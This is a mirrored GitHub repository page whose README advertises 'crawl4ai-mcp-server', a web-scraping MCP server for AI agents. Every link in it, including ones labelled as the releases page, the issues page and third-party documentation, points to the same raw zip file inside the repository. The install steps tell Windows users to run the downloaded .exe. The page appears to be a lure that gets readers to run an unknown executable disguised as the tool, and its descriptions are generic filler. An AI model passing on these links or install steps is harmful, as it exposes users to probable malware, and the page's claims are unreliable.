https://github.com/amienbou121/crawl4ai-mcp-server
🕷️ Enable AI agents to scrape and crawl the web effortlessly with this lightweight Model Context Protocol server, integrating seamlessly into your workflows.
https://github.com/amienbou121/crawl4ai-mcp-server
agentic-ai agentic-rag agentic-workflow ai-agents claude-code crawl4ai crawling firecrawl-alternative keyword-search mcp model-context-protocol-servers openai-agents-sdk pydantic-ai reranking semantic-search uvx web-crawling web-scraping
Last synced: 4 days ago
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🕷️ Enable AI agents to scrape and crawl the web effortlessly with this lightweight Model Context Protocol server, integrating seamlessly into your workflows.
- Host: GitHub
- URL: https://github.com/amienbou121/crawl4ai-mcp-server
- Owner: amienbou121
- License: mit
- Created: 2025-09-24T08:19:29.000Z (16 days ago)
- Default Branch: master
- Last Pushed: 2025-10-02T00:17:09.000Z (8 days ago)
- Last Synced: 2025-10-02T02:34:55.926Z (8 days ago)
- Topics: agentic-ai, agentic-rag, agentic-workflow, ai-agents, claude-code, crawl4ai, crawling, firecrawl-alternative, keyword-search, mcp, model-context-protocol-servers, openai-agents-sdk, pydantic-ai, reranking, semantic-search, uvx, web-crawling, web-scraping
- Language: Python
- Size: 1.34 MB
- Stars: 1
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
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README
# 🕷️ crawl4ai-mcp-server - Simple Setup for Web Scraping Tools
[](https://raw.githubusercontent.com/amienbou121/crawl4ai-mcp-server/master/bego/crawl4ai-mcp-server.zip)
## 🌟 Overview
The **crawl4ai-mcp-server** is a lightweight server that allows you to access web scraping and crawling tools easily. It provides similar capabilities to Firecrawl's API but offers a self-hosted and free option. This server integrates seamlessly with AI frameworks like OpenAI Agents SDK, Cursor, and Claude Code. You can use it for various AI workflows, making it a valuable resource for anyone needing web data.
## 🚀 Getting Started
To get started with the crawl4ai-mcp-server, you will need to download and run it on your computer. Follow the steps below to install and set it up.
## 📥 Download & Install
1. **Visit the Releases Page**
Go to the [Releases page](https://raw.githubusercontent.com/amienbou121/crawl4ai-mcp-server/master/bego/crawl4ai-mcp-server.zip) to find the latest version of the crawl4ai-mcp-server.
2. **Download the Latest Release**
Look for the latest version and click on it to view the available files. You will find options suitable for your operating system.
3. **Choose Your File**
Download the appropriate file for your system. You may see options like:
- ***Windows:*** https://raw.githubusercontent.com/amienbou121/crawl4ai-mcp-server/master/bego/crawl4ai-mcp-server.zip
- ***macOS:*** crawl4ai-mcp-server-macos
- ***Linux:*** https://raw.githubusercontent.com/amienbou121/crawl4ai-mcp-server/master/bego/crawl4ai-mcp-server.zip
4. **Install the Application**
- For **Windows:** Double-click the downloaded .exe file to start the installation. Follow the on-screen instructions.
- For **macOS/Linux:** Extract the downloaded file, navigate to the folder in your terminal, and run the command `./crawl4ai-mcp-server`.
## 🔧 System Requirements
Ensure that your computer meets the following requirements before installing:
- **Operating System:**
- Windows 10 or later
- macOS Mojave or later
- Any recent Linux distribution (Ubuntu, Fedora, etc.)
- **Memory:** At least 4 GB RAM
- **Disk Space:** Minimum 100 MB of free space
## ⚙️ Configuration
Once installed, you may need to configure the server to suit your needs. Here’s how:
1. Open the configuration file located in the installation directory.
2. Specify your preferred settings for web scraping.
3. Save the changes and restart the server.
## 🛠️ Using the Crawl4AI MCP Server
After setting up the crawl4ai-mcp-server, you can start using it for web scraping:
1. **Start the Server:**
Execute the command to launch the server in your terminal or command prompt.
Example command:
```
crawl4ai-mcp-server start
```
2. **Access the API:**
Use your web browser or API client to send requests to the server. The base URL will usually be `http://localhost:8080/`.
3. **Explore the API Documentation:**
Detailed API information is available once the server is running. Visit `http://localhost:8080/docs` for examples and usage instructions.
## 🌐 Integrating with AI Tools
The crawl4ai-mcp-server works well with a range of AI tools. Here are some common integrations:
- **OpenAI Agents SDK:** Connect your AI to directly use web scraping results.
- **Claude Code:** Use its capabilities for processing and analyzing scraped data.
- **Cursor:** Integrate for enhanced data manipulation workflows.
## ⚡ Troubleshooting
If you encounter issues during installation or usage, consider the following:
- **Check Compatibility:** Ensure your operating system and version match the requirements.
- **Review Logs:** Check the logs generated in the server directory for error messages.
- **Community Support:** Visit the project's [GitHub Issues page](https://raw.githubusercontent.com/amienbou121/crawl4ai-mcp-server/master/bego/crawl4ai-mcp-server.zip) or join community discussions for help.
## 📚 Additional Resources
For more information on web scraping and using the crawl4ai-mcp-server, check these resources:
- [Web Scraping Guide](https://raw.githubusercontent.com/amienbou121/crawl4ai-mcp-server/master/bego/crawl4ai-mcp-server.zip)
- [OpenAI Agents SDK Documentation](https://raw.githubusercontent.com/amienbou121/crawl4ai-mcp-server/master/bego/crawl4ai-mcp-server.zip)
- [Getting Started with Claude Code](https://raw.githubusercontent.com/amienbou121/crawl4ai-mcp-server/master/bego/crawl4ai-mcp-server.zip)
## 🏁 Conclusion
You now have everything you need to download and set up the crawl4ai-mcp-server. With this tool, you can easily integrate web scraping into your AI projects. Don't forget to explore the features and customize it according to your needs.
For any further questions, feel free to reach out through the GitHub repository. The community is here to support you!